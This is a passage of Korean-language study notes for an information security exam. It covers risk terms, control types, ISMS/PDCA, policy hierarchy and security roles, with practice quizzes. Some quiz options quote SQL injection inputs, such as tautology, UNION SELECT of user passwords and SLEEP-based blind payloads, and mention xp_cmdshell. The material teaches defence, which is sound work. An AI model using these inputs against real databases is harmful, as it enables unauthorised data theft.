수용 ≠ 무시

수용은 위험을 분석하고 문서화한 뒤 책임자가 승인하는 의식적 결정이다. 모르고 넘어가는 것은 수용이 아니라 관리 실패다.

5. 실습 · 시나리오로 구분하기

시나리오 A — 쇼핑몰

쇼핑몰의 회원 DB에는 50만 명의 개인정보가 있다. 로그인 페이지가 문자열 연결로 쿼리를 만들고 있고, 최근 이 업종을 노리는 해킹 조직이 활동 중이다. 회사는 Prepared Statement로 코드를 고쳤지만, 아직 알려지지 않은 다른 취약점 가능성은 남아 있어 경영진이 이를 감수하기로 했다.

용어 답
자산 회원 DB(50만 명 개인정보)
위협 업종을 노리는 해킹 조직
취약점 문자열 연결로 쿼리를 만드는 로그인 페이지 (SQLi 가능)
위험 해킹 조직이 SQLi로 회원정보를 유출할 가능성과 그 피해
대책 Prepared Statement 적용
잔여 위험 → 처리 알려지지 않은 취약점 가능성 → 수용

시나리오 B — 사무실

회계팀 PC에는 급여 파일이 있다. 화면 잠금 설정이 없고, 청소 용역 직원이 야간에 출입한다. 회사는 화면 보호기 암호를 의무화하고, 화재에 대비해 화재보험에 가입했다.

용어 답
자산 급여 파일(+ 회계 PC)
위협 야간 출입 외부인(의도적), 화재(자연·환경)
취약점 화면 잠금 미설정
대책 / 전략 화면 보호기 암호 = 감소, 화재보험 = 전가

시나리오 C — 헷갈리는 표현 바로잡기

6. 자산의 가치는 어떻게 매기나

자산 가치는 단순히 구입 가격이 아니라 CIA가 깨졌을 때의 영향으로 평가한다.

평가 관점 질문
기밀성 이 정보가 유출되면 피해는? (개인정보, 영업비밀)
무결성 내용이 바뀌면 피해는? (회계, 의료 기록)
가용성 못 쓰게 되면 피해는? (결제 서버, 생산 라인)

⚠️ 시험 함정

기출 포인트

확인 문제

Q1. 다음 중 취약점에 해당하는 것은?
① 퇴사 예정인 악의적 내부자 ② 보안 패치가 적용되지 않은 웹 서버 ③ 지진 ④ 랜섬웨어 유포 조직

Q2. 자산 가치가 2억 원, 노출 계수(EF)가 25%, 연간 발생률(ARO)이 0.2일 때 ALE는?
① 500만 원 ② 1,000만 원 ③ 4,000만 원 ④ 5,000만 원

Q3. 회사가 데이터 유출 사고에 대비해 사이버 보험에 가입했다. 이 위험 처리 방식은?
① 위험 감소 ② 위험 회피 ③ 위험 전가 ④ 위험 수용

Q4. 잔여 위험에 대한 설명으로 가장 적절한 것은?
① 대책을 충분히 적용하면 0으로 만들 수 있다
② 대책 적용 후에도 남는 위험으로, 경영진이 수용 여부를 결정한다
③ 위협이 없는 상태를 의미한다
④ 취약점과 같은 의미이다

Q5. 위험의 구성 요소에 대한 설명으로 옳지 않은 것은?
① 위험은 자산 가치, 위협, 취약성의 함수로 표현할 수 있다
② 취약점이 없더라도 위협만 크면 위험은 항상 최대가 된다
③ 위험은 발생 가능성과 영향의 곱으로 표현하기도 한다
④ 대책은 위험을 감소시키는 수단이다


Day 6 · 대책 유형 · 관리체계 개요

1. 대책(통제)을 두 가지 축으로 분류한다

대책은 "무엇으로 하나"(유형) 와 "언제·어떤 역할을 하나"(기능) 두 축으로 나눈다. 하나의 대책이 두 축에서 각각 하나씩(때로는 여러 개) 분류된다.

비유: 집 보안이라면 — 경고 스티커(억제), 현관 잠금(예방), CCTV(탐지), 도둑 침입 후 경찰 출동(교정), 깨진 창문 수리(복구).

2. 유형별 분류 — 관리적 · 물리적 · 기술적

유형 뜻 예
관리적 (Administrative) 사람·절차·제도로 통제 보안 정책, 절차서, 보안 교육, 직무 분리, 인사 보안(채용 시 신원 확인, 퇴직 시 계정 회수), 감사, 위험 평가
물리적 (Physical) 물리적 장치·환경으로 통제 출입통제, CCTV, 잠금장치, 경비원, 펜스, 항온항습, UPS, 소화설비
기술적 (Technical / Logical) 시스템·소프트웨어로 통제 암호화, 방화벽, IDS/IPS, 접근통제, 백신, MFA, 로그 시스템
헷갈리는 것들

  • 보안 교육은 기술 내용을 다뤄도 관리적.
  • UPS·항온항습기는 전기 장비지만 환경 통제이므로 물리적.
  • 로그 기록은 기술적, 로그를 사람이 정기 검토하는 절차는 관리적.

3. 기능별 분류

기능 영어 역할 예
억제 Deterrent 공격 의지를 꺾음 경고문, "CCTV 촬영 중" 표지, 처벌 규정 공지
예방 Preventive 사고가 일어나지 않게 막음 방화벽, 출입통제, 암호화, 직무 분리, 교육
탐지 Detective 사고를 발견함 IDS, CCTV 녹화 검토, 감사 로그 분석, 무결성 점검
교정 Corrective 사고 피해를 줄이고 원인 제거 백신 치료, 취약점 패치, 감염 PC 격리
복구 Recovery 정상 상태로 되돌림 백업 복원, DR센터 전환
보완 Compensating 주 통제를 못 쓸 때 대신 위험 완화 패치 불가 레거시 서버 → 망 분리 + 집중 모니터링
시간 흐름으로 보면:
 사고 전          사고 순간         사고 후
 [억제][예방] ──▶ [탐지] ──────▶ [교정] ──▶ [복구]
   (보완: 위 통제가 불가능할 때 대체)

4. 실습 · 대책 분류 연습

먼저 유형/기능을 직접 써 보고 답을 확인하자. 일부는 문맥에 따라 기능이 둘 이상일 수 있다.

대책 유형 기능
방화벽 기술적 예방
IDS (침입탐지시스템) 기술적 탐지
IPS (침입방지시스템) 기술적 예방 (탐지 후 차단)
CCTV 물리적 탐지 (+ 억제)
"무단침입 시 법적 처벌" 경고문 물리적/관리적 억제
출입 카드 리더 물리적 예방
보안 인식 교육 관리적 예방
감사 로그 정기 검토 관리적 탐지
백신의 악성코드 치료 기술적 교정
정기 백업과 복원 기술적 복구
재해복구(DR) 센터 물리적·기술적 복구
직무 분리 관리적 예방
패치 불가 시스템의 망 분리 기술적 보완
디스크 암호화 기술적 예방
화재 감지기 물리적 탐지
스프링클러 물리적 교정 (피해 확산 억제)

5. 정보보호 관리체계(ISMS)와 PDCA

관리체계란 대책을 한 번 깔고 끝내는 게 아니라, 계획 → 실행 → 점검 → 개선을 계속 돌리는 체계다. 위협은 계속 바뀌기 때문이다. 이 순환을 PDCA(데밍 사이클)라 한다.

flowchart LR
    P["Plan
정책 수립
위험 평가
대책 선정"] --> D["Do
대책 구현
교육·운영"] D --> C["Check
모니터링
내부 감사
점검"] C --> A["Act
시정 조치
개선"] A --> P
단계 하는 일 예
Plan 범위 설정, 정책 수립, 위험 평가, 대책 선정 위험 평가 결과로 MFA 도입 결정
Do 대책 구현·운영, 교육 MFA 적용, 사용자 교육
Check 모니터링, 내부 감사, 효과 측정 분기별 접근 로그 감사
Act 문제점 시정·개선 감사 지적사항 보완, 정책 개정

6. 정보보호 정책 문서의 계층

회사 보안 문서는 위로 갈수록 추상적·장기적, 아래로 갈수록 구체적·자주 바뀜.

          ▲ 추상적·경영진 승인·잘 안 바뀜
   ┌──────────────┐
   │    정책       │  "회사는 정보자산을 CIA 관점에서 보호한다"
   ├──────────────┤
   │    표준       │  "비밀번호는 영문·숫자·특수문자 조합 8자 이상" (필수)
   ├──────────────┤
   │    지침       │  "기억하기 쉬운 문장형 비밀번호 사용을 권장" (권고)
   ├──────────────┤
   │    절차       │  "1. 포털 접속 2. 내 정보 3. 비밀번호 변경 클릭..."
   └──────────────┘
          ▼ 구체적·실무자용·자주 바뀜
문서 성격 강제성 누가 승인
정책 (Policy) 최상위 방향·원칙·목표. "무엇을, 왜" 필수 최고경영자
표준 (Standard) 정책을 지키기 위한 구체적 필수 요구사항(수치·기술) 필수 보안 책임자 등
지침 (Guideline) 권장 사항, 모범 사례 권고(선택)
절차 (Procedure) 작업을 수행하는 단계별 방법. "어떻게" 필수(따라야 함) 실무 부서
국내 실무 용어 주의

영어 Guideline은 "권고"지만, 국내 기업 문서에서 "○○ 지침"은 반드시 지켜야 하는 내부 규정을 뜻하는 경우가 많다. 시험에서 계층·강제성을 물을 때는 정책 → 표준 → 지침(권고) → 절차 의 일반 모델로 답하되, 문제의 설명을 잘 읽자.

7. 보안 조직 기초

역할 하는 일
최고경영자 (CEO) 정보보호 최종 책임, 정책 승인, 자원(예산·인력) 지원
정보보호 최고책임자 (CISO) 정보보호 업무 총괄 (정보통신망법상 일정 기준 사업자는 지정·신고 의무)
개인정보 보호책임자 (CPO) 개인정보 처리 총괄 (개인정보 보호법상 지정 의무)
정보보호위원회 경영진급 협의체. 정책·투자 등 주요 사항 심의·의결
정보보호 실무조직 정책 시행, 대책 운영, 점검, 사고 대응
자산 소유자 / 관리자 소유자: 자산 분류·접근 승인 책임 / 관리자(Custodian): 일상적 운영(백업 등)
사용자 정책 준수, 사고 신고
내부 감사 독립적으로 통제 효과 점검 (점검받는 부서와 분리)

⚠️ 시험 함정

기출 포인트

확인 문제

Q1. 다음 대책 중 기능상 탐지 통제에 해당하는 것은?
① 방화벽 ② 침입탐지시스템(IDS) ③ 데이터 백업 ④ 출입 통제 게이트

Q2. 다음 중 관리적 보안 대책에 해당하는 것은?
① 서버실 항온항습기 ② 보안 인식 교육 ③ 웹 방화벽 ④ 디스크 암호화

Q3. PDCA 사이클에서 Check 단계의 활동으로 가장 적절한 것은?
① 정보보호 정책 수립 ② 위험 평가 수행 ③ 내부 감사 및 모니터링 ④ 보호대책 구현

Q4. 정보보호 문서 중 "작업을 수행하는 단계별 상세 방법"을 기술한 것은?
① 정책 ② 표준 ③ 지침 ④ 절차

Q5. 패치를 적용할 수 없는 구형 생산 설비 서버를 별도 망으로 분리하고 집중 모니터링하는 대책은 기능상 무엇에 가장 가까운가?
① 억제 ② 보완 ③ 복구 ④ 교정


Day 7 · 주간 정리

주간 요약 (아웃라인)

1. HTTP (Day 1)

2. 쿠키·세션 (Day 2)

3. SQL Injection (Day 3)

4. 웹 공격 3대장 (Day 4)

5. 보안관리 용어 (Day 5)

6. 대책·관리체계 (Day 6)

미니 퀴즈 (15문항)

Q1. URL https://shop.com/item?id=5#review 에서 웹 서버로 전송되지 않는 부분은?
① shop.com ② /item ③ id=5 ④ review

Q2. 다음 중 안전(Safe)하면서 멱등(Idempotent)한 메서드로만 묶인 것은?
① GET, HEAD ② POST, PUT ③ PUT, DELETE ④ POST, PATCH

Q3. 로그인한 사용자가 관리자 전용 페이지에 접근했으나 권한이 없을 때 적절한 응답 코드는?
① 301 ② 401 ③ 403 ④ 500

Q4. 리다이렉트 응답에서 이동할 주소를 알려 주는 헤더는?
① Referer ② Location ③ Host ④ User-Agent

Q5. 쿠키 속성과 그 효과의 연결로 옳지 않은 것은?
① Secure - HTTPS 연결에서만 전송
② HttpOnly - JavaScript의 쿠키 접근 차단
③ SameSite - 교차 사이트 요청 시 쿠키 전송 제한
④ Path - 쿠키 값 암호화

Q6. 공격자가 미리 받아 둔 세션ID를 피해자가 로그인할 때 사용하게 만든 뒤, 같은 세션ID로 피해자 계정에 접근하는 공격은?
① 세션 하이재킹 ② 세션 고정 ③ CSRF ④ 반사형 XSS

Q7. 다음 SQL Injection 입력 중 Time-based Blind 기법에 해당하는 것은?
① ' OR 1=1 -- ② 1 UNION SELECT id, pw FROM users ③ 1 AND SLEEP(5) ④ 1'

Q8. Prepared Statement가 SQL Injection을 막는 원리로 가장 적절한 것은?
① 입력값을 Base64로 인코딩한다
② SQL 구조를 먼저 확정하고 입력값은 데이터로만 바인딩한다
③ DB 오류 메시지를 숨긴다
④ 특수문자를 모두 삭제한다

Q9. 다음 중 MS-SQL에서 SQL Injection으로 호출되면 OS 명령 실행으로 이어질 수 있는 확장 저장 프로시저는?
① xp_cmdshell ② SLEEP ③ ORDER BY ④ UNION

Q10. XSS에 대한 설명으로 옳지 않은 것은?
① 저장형 XSS는 스크립트가 서버에 저장되어 여러 사용자에게 영향을 준다
② 반사형 XSS는 주로 조작된 링크 클릭을 통해 발생한다
③ DOM 기반 XSS는 서버를 거치지 않고도 발생할 수 있다
④ XSS의 근본 대책은 DB 계정 최소 권한이다

Q11. 공격자가 만든 페이지에 숨겨진 폼이 로그인된 피해자의 브라우저를 통해 "비밀번호 변경" 요청을 보내게 했다. 이 공격과 대표 대응의 연결로 옳은 것은?
① XSS - 출력 인코딩 ② CSRF - CSRF 토큰 ③ SQLi - Prepared Statement ④ 세션 고정 - 세션ID 재발급

Q12. "약한 비밀번호 정책"은 다음 중 무엇에 해당하는가?
① 자산 ② 위협 ③ 취약점 ④ 잔여 위험

Q13. 사고 1회 예상 손실(SLE)이 4,000만 원이고 4년에 한 번 발생한다면 연간 예상 손실(ALE)은?
① 1,000만 원 ② 4,000만 원 ③ 1억 6,000만 원 ④ 400만 원

Q14. 다음 중 대책 유형과 기능의 연결이 옳은 것은?
① CCTV - 기술적·예방 ② 경고 표지판 - 물리적·억제 ③ 백업 - 관리적·탐지 ④ IDS - 물리적·교정

Q15. 정보보호 정책에 대한 설명으로 옳지 않은 것은?
① 정책은 조직의 정보보호 방향과 원칙을 제시하는 최상위 문서이다
② 정책은 최고경영자의 승인을 받는 것이 바람직하다
③ 절차는 정책보다 구체적인 단계별 수행 방법을 담는다
④ 정책에는 시스템별 상세 설정값과 명령어를 모두 기술해야 한다

카드

오답 / 모르는 용어


네비게이션

이전 다음
◀ Week03_보안 개념과 암호 기초 Week05_정보보안 일반 ▶